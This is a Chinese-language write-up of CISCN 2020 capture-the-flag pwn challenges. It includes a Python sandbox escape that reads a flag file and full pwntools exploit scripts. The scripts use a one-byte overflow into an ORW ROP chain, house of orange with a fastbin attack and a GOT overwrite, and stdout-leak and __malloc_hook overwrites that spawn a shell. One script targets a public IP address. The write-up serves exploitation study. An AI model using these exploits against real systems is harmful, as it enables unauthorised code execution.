ciscn_2020_pwn 复现
0x1 babyjsc
压缩包中有 server.py ,其中首先执行
size = int(input())
同时压缩包中可以找到 flag 在靶机上的路径,所以尝试 python 逃逸即可。(非预期解,浏览器 pwn 被打了快 300 解 2333)
nc 连上后,输入
__import__('os').system('cat /home/ctf/flag')
0x2 wow
分析
vm pwn 的题目越来越多了,而每次遇到都不会,这次就认真搞搞当入门了。(感谢 starssgo 、幼稚园、fmyy 师傅的指点)
首先 ida 打开文件,上来就是几万个未命名的函数,我当年就是这么吓退了 orz 。这肯定不能傻逼直接逆几万个函数,我们需要寻找关键代码。
首先题目 f5 识别有问题,需要修一下。
这里可以看到 0x404dc4 已经是一个新的函数,可是上一个函数的结束地址将这个函数包进去了,导致 ida 识别不出来。我们将上一个函数的 end 地址改为 0x404dc4 ,将下面的函数用 “p” 快捷键生成函数即可。
这道题的难度在于逆向分析,就不细讲了,讲讲关键部分。
这个程序类似于一个 brainfuck 编译器,程序中开辟了一块 0x400 大小的内存给编译器使用,我们通过输入程序定义的指令符,对这块内存进行各种操作,就可以实现各种功能,首先先分析出各个指令的操作:
- @:++ptr;
- #:--ptr;
- ^:++*ptr;
- |:--*ptr;
- &:putchar(*ptr);
- $:*ptr = getchar();
- :ptr << 2;
- :(*ptr);
- {:while(*ptr){
- }:}
程序运行时,栈的情况如下:(假设分配内存的地址为 0x1000)
0x1000 编译器使用这 0x400 大小
··· ...
0x1400 指向指令字符串的指针 code_buf (值为 0x1410)
0x1408 指令字符串的长度 len(code)
0x1410 指令字符串 code
... ...
0x1468 返回地址
程序漏洞出现在此处:
case 0x40:
if ( v25 >= (char *)&code_buf )
{
sub_4D47B0("invalid operation!");
sub_4C7E70(0xFFFFFFFFLL);
}
++v25;
break;
这里代码的意思是,执行 “@” 指令时,如果内存指针小于 0x1400 ,则内存指针 + 1 。所以很明显,这里可以溢出一个字节,也就是说我们可以覆盖指令字符串指针的最低位字节。而刚好返回地址与指针的偏移在一个字节的大小,所以我们可以控制返回地址的内容。
而程序开启了沙箱,拿不到 shell ,就只能通过 orw 获取 flag 了。
所以我们的目标是通过程序给的指令集的操作,将栈修改为:
0x1000 编译器使用这 0x400 大小
··· ...
0x1400 指向指令字符串的指针 code_buf (值为 0x1410)
0x1408 指令字符串的长度 len(code)
0x1410 指令字符串 code
... ...
0x1468 orw
这样程序运行到返回地址时,就会运行 orw 打印 flag 。
构造 rop 时有两个需要注意的点,
一个是我们 rop 中各个 gadget 的地址不能是有效指令。比如说:
pop_rdi = 0x4047ba
这种 gadget 是行不通的,因为程序在解析时,会把 0x40 解析为 “@” ,这样就会执行对应的操作,达不到我们的目的。
第二是程序在最后返回前,有一个检测:
if ( code_buf != (__int64 *)&code )
sub_405C90((__int64)code_buf);
也就是指令字符串的指针要与指令字符串的地址相等才能绕过检测。而我们之前为了修改返回地址的内容,将指针指向了返回地址,程序运行到这里会 crash ,我们通过一字节溢出将指针末位修改回来即可。
exp
from pwn import *
file_name = './main'
#libc_name = ''
context.binary = file_name
context.log_level = 'debug'
#context.terminal = ['./hyperpwn/hyperpwn-client.sh']
p = process(file_name)
#p = process('./idaidg/linux_server64')
#p = remote('')
elf = ELF(file_name)
libc = elf.libc
#syscall = 0x4dc054
#pop_rdi = 0x4047ba
#pop_rsi = 0x407578
#pop_rdx = 0x40437f
#pop_rax = 0x41ea0a
#def call(rax,rdi = 0,rsi = 0,rdx = 0):
# return flat([pop_rax,rax,pop_rdi,rdi,pop_rsi,rsi,pop_rdx,rdx,syscall])
syscall = 0x00000000004dc054 # syscall ; ret
pop_rdi = 0x000000000041307a # pop rdi ; pop ...; ret
pop_rsi = 0x000000000047383d # pop rsi ; pop ...; ret
pop_rdx = 0x000000000053048b # pop rdx ; pop ...; ret
pop_rax = 0x000000000053048a # pop rax ; pop ...; pop ...; ret
def call(rax, rdi=0, rsi=0, rdx=0):
return flat([pop_rax, rax, 0, 0, pop_rdi, rdi, 0, pop_rsi, rsi, 0, pop_rdx, rdx, 0, syscall])
p.sendlineafter("enter your code:\n", "~{@&$}")
p.send("A" * 0x3FF)
p.recvuntil("\nrunning....\n")
sleep(0.2)
p.recvuntil("\x00" * 0x3FF)
val = ord(p.recv(1))
p.send(chr((val + 0x58) & 0xFF))
p.sendafter("continue?", "Y")
sleep(1)
payload = call(0, 0, 0x5D5600, 0x10)
payload += call(2, 0x5D5600, 0, 0)
payload += call(0, 3, 0x5D5600 + 0x10, 0x50)
payload += call(1, 1, 0x5D5600 + 0x10, 0x50)
p.sendlineafter("enter your code:\n", payload + "~{@&$}")
p.send("A" * 0x3FF)
p.send(chr(val))
p.sendafter("continue?", "N")
p.send("flag\x00")
p.interactive()
0x3 no free
分析
这道题只有 edit 功能和通过 strdup 实现的 malloc 功能,难点在于没有 free 与 show,以致于难以实现信息泄露和利用。
house of orange 技术是一种在没有 free 情况下可以获得空闲 chunk 的技术,它通过控制 top chunk 的指针,使得当 top chunk 不满足分配大小扩展时,会执行 free(old top chunk) ,从而得到空闲的 chunk 。
这里我们第一步就是运用 house of orange 技术获得空闲 chunk 。
add(0,0x80,'aaa\x00')
edit(0,'a' * 0x18 + p64(0xfe1))
for i in range(24):
add(0,0x90,'b' * 0x90)
add(0,0x90,'a' * 0x30)
add(1,0x90,'a' * 0x90)
首先修改 top chunk 大小为 0xfe1 ,然后不断分配 chunk 使得最后 top chunk 不满足分配调用 sysmalloc 扩展,同时获得空闲 chunk 。
gdb-peda$ bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0xe78f60 ◂— 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
我们可以看到已经获得了 0x80 大小的 fast bin ,然后就是 fast bin attack :
edit(0,'a' * 0x38 + p64(0x81) + p64(0x6020c0 + 0x100))
add(0,0x81,'a' * 0x77)
add(0,0x81,'a' * 0x77)
通过 edit 功能修改 fd 指针为 heaplist 的地址(位于 bss 段,存储了每个 malloc 的 chunk 的 user_addr 指针和 size),然后 malloc 两次即可分配至 heaplist 处。
gdb-peda$ x /20xg 0x6020c0 + 0x100
0x6021c0: 0x00000000006021d0 0x0000000000000081 <-- chunk[0] user_addr && size
0x6021d0: 0x6161616161616161 0x6161616161616161 <-- chunk[1] user_addr && size
0x6021e0: 0x6161616161616161 0x6161616161616161
0x6021f0: 0x6161616161616161 0x6161616161616161
0x602200: 0x6161616161616161 0x6161616161616161
chunk[0] 的 user_addr 指向了 chunk[1] 的 user_addr ,我们可以通过 edit chunk[0] 来编辑 chunk[1] 的 user_addr ,然后再 edit chunk[1] 往 user_addr 指针中写数据,这就实现了任意写。
然后通过任意写:
edit(0,p64(atoi_got) + p64(0x100))
edit(1,p64(printf_plt))
edit_s(0,p64(exit_got) + p64(0x100))
edit_s(1,p64(ret))
修改 atoi_got 为 printf_plt 引入字符串漏洞用于泄露地址,修改 exit_got 为 ret ,这样当我们输入不为 ‘1’ 或 ‘2’ 的 choice 时程序也不会退出。
gdb-peda$ x /20xg 0x602000
0x602000: 0x0000000000601e28 0x00007fa118334168
0x602010: 0x00007fa118124ee0 0x00007fa117db2690
0x602020: 0x00000000004006e6 0x00007fa117db96b0
0x602030: 0x00007fa117d98800 0x00007fa117eb5970
0x602040: 0x00007fa117e0f200 0x00007fa117e3a250
0x602050: 0x00007fa117d63740 0x0000000000400700 <--atoi_got
0x602060: 0x00000000004006b9 <--exit_got 0x00007fa117dce470
0x602070: 0x0000000000000000 0x0000000000000000
然后利用格式化字符串漏洞:
payload = "%7$saaaa" + p64(read_got)
p.sendlineafter('choice>> ',payload)
libc_read = u64(p.recv(6).ljust(8,'\x00'))
syscall = libc_read + 0xe1
print "libc_read:" + hex(libc_read)
payload = '%12$p'
p.sendlineafter('choice>> ',payload)
p.recvuntil('0x')
stack_addr = int(p.recv(12),16)
泄露 read 地址和 stack 地址。最后就是利用 rop 调用 execv('/bin/sh', 0, 0) get shell 了,这里 rdi ,rsi ,rdx 的值可以用 gadget 控制,而 rax 的值通过调用 read 函数的返回值来控制。
gadget_1 = 0x400c00
gadget_2 = 0x400c16
edit_s(0,p64(stack_addr + 8) + p64(0x300) + '/bin/sh\x00' + p64(syscall))
payload = flat([pop_rdi, 0, pop_rsi, 0x6020c0, 0, libc_read])
payload += flat([gadget_2, 0, 0, 1, 0x6020c0 + 0x128, 0, 0, 0x6020c0 + 0x120])
payload += flat(gadget_1)
通过 edit 功能将 rop 写入返回地址,并输入 0x3b 的字符控制 rax 为 0x3b,即可 get shell。
edit_s(1,payload)
sleep(2)
p.send('A' * 0x3b)
exp
from pwn import *
file_name = './pwn'
libc_name = ''
context.binary = file_name
context.log_level = 'debug'
#context.terminal = ['./hyperpwn/hyperpwn-client.sh']
#p = process(file_name)
#p = process('./idaidg/linux_server64')
p = remote('0.0.0.0',9997)
elf = ELF(file_name)
libc = elf.libc
def add(idx, size, content):
p.sendlineafter("choice>> ", "1")
p.sendlineafter("idx: ", str(idx))
p.sendlineafter("size: ", str(size))
p.sendafter("content: ", content)
def edit(idx, content):
p.sendlineafter("choice>> ", "2")
p.sendlineafter("idx: ", str(idx))
p.sendafter("content: ", content)
def edit_s(idx,content):
p.sendafter('choice>> ','11\x00')
if idx == 0:
p.sendafter('idx: ','\x00')
else:
p.sendafter('idx: ','1' * idx + '\x00')
p.sendafter('content: ',content)
atoi_got = elf.got['atoi']
exit_got = elf.got['exit']
read_got = elf.got['read']
printf_got = elf.got['printf']
printf_plt = elf.plt['printf']
ret = 0x4006b9
add(0,0x80,'aaa\x00')
edit(0,'a' * 0x18 + p64(0xfe1))
for i in range(24):
add(0,0x90,'b' * 0x90)
add(0,0x90,'a' * 0x30)
add(1,0x90,'a' * 0x90)
edit(0,'a' * 0x38 + p64(0x81) + p64(0x6020c0 + 0x100))
add(0,0x81,'a' * 0x77)
add(0,0x81,'a' * 0x77)
edit(0,p64(atoi_got) + p64(0x100))
edit(1,p64(printf_plt))
edit_s(0,p64(exit_got) + p64(0x100))
edit_s(1,p64(ret))
payload = "%7$saaaa" + p64(read_got)
p.sendlineafter('choice>> ',payload)
libc_read = u64(p.recv(6).ljust(8,'\x00'))
syscall = libc_read + 0xe1
print "libc_read:" + hex(libc_read)
payload = '%12$p'
p.sendlineafter('choice>> ',payload)
p.recvuntil('0x')
stack_addr = int(p.recv(12),16)
pop_rdi = 0x400c23 # pop rdi; ret
pop_rsi = 0x400c21 # pop rsi; pop r15; ret
gadget_1 = 0x400c00
gadget_2 = 0x400c16
edit_s(0,p64(stack_addr + 8) + p64(0x300) + '/bin/sh\x00' + p64(syscall))
payload = flat([pop_rdi, 0, pop_rsi, 0x6020c0, 0, libc_read])
payload += flat([gadget_2, 0, 0, 1, 0x6020c0 + 0x128, 0, 0, 0x6020c0 + 0x120])
payload += flat(gadget_1)
edit_s(1,payload)
sleep(2)
p.send('A' * 0x3b)
#gdb.attach(p)
p.interactive()
0x4 easybox
分析
这题的漏洞为 off_by_one ,没有 show 的功能,那就是通过爆破 IO_2_1_stdout 地址,改写 stdout 来 leak 信息了。
add(0, 0x28, "AAAA")
add(1, 0x28, "BBBB")
delete(0)
add(2, 0x68, "CCCC")
delete(2)
add(0, 0x28, "A" * 0x28 + "\xa1")
add(3, 0x28, "DDDD")
delete(1)
通过 off_by_one 漏洞造成堆块重叠:
gdb-peda$ x /40xg 0x5578023d7000
0x5578023d7000: 0x0000000000000000 0x0000000000000031 -->chunk 0
0x5578023d7010: 0x4141414141414141 0x4141414141414141
0x5578023d7020: 0x4141414141414141 0x4141414141414141
0x5578023d7030: 0x4141414141414141 0x00000000000000a1 -->unsorted bin
0x5578023d7040: 0x00007f8fca154b78 0x00007f8fca154b78
0x5578023d7050: 0x0000000000000000 0x0000000000000000
0x5578023d7060: 0x0000000000000000 0x0000000000000071 -->fast bin
0x5578023d7070: 0x0000000000000000 0x0000000000000000
0x5578023d7080: 0x0000000000000000 0x0000000000000000
0x5578023d7090: 0x0000000000000000 0x0000000000000000
0x5578023d70a0: 0x0000000000000000 0x0000000000000000
0x5578023d70b0: 0x0000000000000000 0x0000000000000000
0x5578023d70c0: 0x0000000000000000 0x0000000000000000
0x5578023d70d0: 0x00000000000000a0 0x0000000000000030
0x5578023d70e0: 0x0000000044444444 0x0000000000000000
0x5578023d70f0: 0x0000000000000000 0x0000000000000000
0x5578023d7100: 0x0000000000000000 0x0000000000020f01
0x5578023d7110: 0x0000000000000000 0x0000000000000000
然后分配 0x30 大小的 chunk:
add(1, 0x28, "B" * 0x28)
delete(1)
这样就构造了一个同时存在于 fast bin 跟 unsorted bin 的 chunk :
gdb-peda$ bins
fastbins
0x20: 0x0
0x30: 0x5623a15d4030 ◂— 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x5623a15d4060 —▸ 0x7fd7399beb78 (main_arena+88) ◂— 0x5623a15d4060
0x80: 0x0
unsortedbin
all: 0x5623a15d4060 —▸ 0x7fd7399beb78 (main_arena+88) ◂— 0x5623a15d4060
然后修改 fast bin 中的 fd 指针为 IO_2_1_stdout 附近的地址:
add(4, 0x50, p64(stdout_offset - 0x43)[:2])
add(1, 0x28, "B" * 0x28)
这里不能分配 0x70 大小的 chunk ,因为那样会从 fast bin 分配,会使后面的 fast bin attack 失败;
stdout_offset 我们不妨设置为 0x3620 ,因为 main_arena+88 与 IO_2_1_stdout 的偏移在 2 字节大小范围内,而随机化的最小单位是页,所以后三位 620 是不变的,我们只需要爆破一位即可(1/16 的成功率);
在 IO_2_1_stdout - 0x43 处伪造的 chunk 可以绕过分配 fast bin 时对于 size 的检测。
然后 fast bin attack 分配至 IO_2_1_stdout 处,修改 IO_write_base 使得程序下次调用 put 函数是可以 leak 出 IO_write_base 至 IO_write_end 的内容:
add(5, 0x68, "EEEE")
add(6, 0x68, "\x00" * 0x33 + p64(0xfbad1800) + p64(0) * 3 + "\x00")
p.recvline() //接收 "1.Add"
p.recv(0x40)
libc_base = u64(p.recv(8)) - 0x3c5600
__malloc_hook = libc_base + __malloc_hook_offset
one_gadget = libc_base + one_gadget_offset
接下来故技重施,造堆块重叠:
add(7, 0x28, "AAAA")
add(8, 0x28, "BBBB")
delete(7)
add(9, 0x68, "CCCC")
delete(9)
add(7, 0x28, "A" * 0x28 + "\xa1")
add(10, 0x28, "DDDD")
delete(8)
也是与上面类似, fast bin attack 改 __malloc_hook 为 one_gadget 地址:
add(8, 0x38, "E" * 0x28 + p64(0x71) + p64(__malloc_hook - 0x23))
add(9, 0x68, "FFFF")
add(11, 0x68, "G" * 0x13 + p64(one_gadget))
在程序中调用 malloc 触发 __malloc_hook 即可。
p.sendlineafter(">>>", "1")
p.sendlineafter("idx:", str(12))
p.sendlineafter("len:", str(0x48))
p.interactive()
exp
from pwn import *
file_name = './box'
#libc_name = ''
context.binary = file_name
context.log_level = 'debug'
context.terminal = ['./hyperpwn/hyperpwn-client.sh']
p = process(file_name)
#p = remote('')
#p = process('./idaidg/linux_server_64')
elf = ELF(file_name)
libc = elf.libc
def add(idx,len,content):
p.sendlineafter('>>>','1')
p.sendlineafter('idx:',str(idx))
p.sendlineafter('len:',str(len))
p.sendafter('content:',content)
def delete(idx):
p.sendlineafter('>>>','2')
p.sendlineafter('idx:',str(idx))
stdout_offset = 0x3620
__malloc_hook_offset = libc.symbols['__malloc_hook']
one_gadget_offset = 0xf1147
while True:
try:
# chunk overlap
add(0, 0x28, "AAAA")
add(1, 0x28, "BBBB")
delete(0)
add(2, 0x68, "CCCC")
delete(2)
add(0, 0x28, "A" * 0x28 + "\xa1")
add(3, 0x28, "DDDD")
delete(1)
# partial write
add(1, 0x28, "B" * 0x28)
delete(1)
add(4, 0x50, p64(stdout_offset - 0x43)[:2])
add(1, 0x28, "B" * 0x28)
# leak
add(5, 0x68, "EEEE")
add(6, 0x68, "\x00" * 0x33 + p64(0xfbad1800) + p64(0) * 3 + "\x00")
p.recvline()
p.recv(0x40)
libc_base = u64(p.recv(8)) - 0x3c5600
__malloc_hook = libc_base + __malloc_hook_offset
one_gadget = libc_base + one_gadget_offset
break
except:
print("Failed")
p.close()
p = p = process(file_name)
# chunk overlap
add(7, 0x28, "AAAA")
add(8, 0x28, "BBBB")
delete(7)
add(9, 0x68, "CCCC")
delete(9)
add(7, 0x28, "A" * 0x28 + "\xa1")
add(10, 0x28, "DDDD")
delete(8)
# __malloc_hook
add(8, 0x38, "E" * 0x28 + p64(0x71) + p64(__malloc_hook - 0x23))
add(9, 0x68, "FFFF")
add(11, 0x68, "G" * 0x13 + p64(one_gadget))
# trigger
p.sendlineafter(">>>", "1")
p.sendlineafter("idx:", str(12))
p.sendlineafter("len:", str(0x48))
p.interactive()
0x5 maj
分析
这题的难点在于代码混淆了,不过其实对于程序以及利用貌似没啥影响。那这样其实就很简单了,思路与上面的 easybox 是一样的,不过这题有 uaf 漏洞,更容易造堆块重叠。
过程与上类似,这里就不具体分析了,简述一下思路:
- 通过 uaf 漏洞造 chunk overlap ,使得一个 chunk 同时存在 unsorted bin 和 fast bin 中。
- 通过 edit 功能改 main_arena+88 为 IO_2_1_stdout 附近的地址,同样是爆破一位。
- 也是改 IO_write_base 来 leak libc。
- 利用 uaf 漏洞进行 fast bin attack ,改 __malloc_hook 为 one_gadget 地址。
- 程序调用 malloc 触发 __malloc_hook get shell 。
exp
p = remote('101.200.53.148', 15423)
def add(num, size, content):
p.sendlineafter(">> ", "1")
p.sendlineafter("please answer the question", str(num))
p.sendlineafter('______?', str(size))
p.sendlineafter("start_the_game,yes_or_no?", content)
def delete(idx):
p.sendlineafter(">> ", "2")
p.sendlineafter("index ?", str(idx))
def edit(idx, content):
p.sendlineafter(">> ", "4")
p.sendlineafter("index ?", str(idx))
p.sendafter("__new_content ?", content)
main_arena_offset = 0x3c4b20
__malloc_hook_offset = libc.sym["__malloc_hook"]
one_gadget_offset = 0xf1207
while True:
try:
add(80, 0x28, "AAAA") # chunk 0
add(80, 0x28, "BBBB") # chunk 1
add(80, 0x28, "CCCC") # chunk 2
for i in range(4):
add(80, 0x68, "DDDD") # chunk 3 4 5 6
delete(3)
# chunk overlap
delete(2)
delete(0)
edit(0, '\x10')
add(80, 0x28, "DDDD") # chunk 7
edit(7, (p64(0) + p64(0x31)) * 2)
add(80, 0x28, "EEEE") # chunk 8
edit(8, p64(0) * 3 + p64(0xd1))
# unsorted bin
delete(1)
add(80, 0x58, "FFFF") # chunk 9
# bruteforce 4 bits
edit(3, "\xdd\x55")
add(80, 0x68, "GGGG") # chunk 10
# leak
add(80, 0x68, "HHHH") # chunk 11
edit(11, "\x00" * 0x33 + p64(0xfbad1800) + p64(0) * 3 + "\x00")
p.recvline()
p.recv(0x40)
libc_base = u64(p.recv(8)) - 0x3c5600
__malloc_hook = libc_base + __malloc_hook_offset
one_gadget = libc_base + one_gadget_offset
break
except:
print("failed")
p.close()
p = remote('101.200.53.148', 15423)
# p = process(argv=[_proc], env=_setup_env())
print("success")
edit(11, p64(libc_base + main_arena_offset + 0x58) * 2)
# uaf
add(80, 0x68, "AAAA") # chunk 12
delete(12)
edit(12, p64(__malloc_hook - 0x23))
add(80, 0x68, "BBBB") # chunk 13
add(80, 0x68, "CCCC") # chunk 14
edit(14, '\x00' * 0x13 + p64(one_gadget))
# trigger
p.sendlineafter(">> ", "1")
p.sendlineafter("please answer the question", str(80))
p.sendlineafter('______?', str(0x38))
success("libc_base: " + hex(libc_base))
success("one_gadget: " + hex(one_gadget))
p.sendline(token)
p.interactive()